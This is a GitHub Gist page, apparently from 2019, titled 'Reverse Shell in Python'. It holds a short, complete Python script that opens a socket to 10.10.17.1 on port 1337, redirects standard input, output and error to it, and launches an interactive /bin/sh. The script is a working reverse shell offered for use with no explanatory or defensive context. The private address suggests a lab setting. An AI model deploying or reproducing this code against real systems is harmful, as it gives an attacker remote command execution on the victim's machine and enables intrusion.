Created
December 13, 2019 07:04
-
-
Save SlyCodePanda/83e4098d209ff606efc9120c1072e004 to your computer and use it in GitHub Desktop.
Reverse Shell in Python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://www.thepythoncode.com/article/create-reverse-shell-python | |
import socket | |
import subprocess | |
import os | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(("10.10.17.1", 1337)) | |
os.dup2(s.fileno(), 0) | |
os.dup2(s.fileno(), 1) | |
os.dup2(s.fileno(), 2) | |
p = subprocess.call(["/bin/sh", "-i"]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment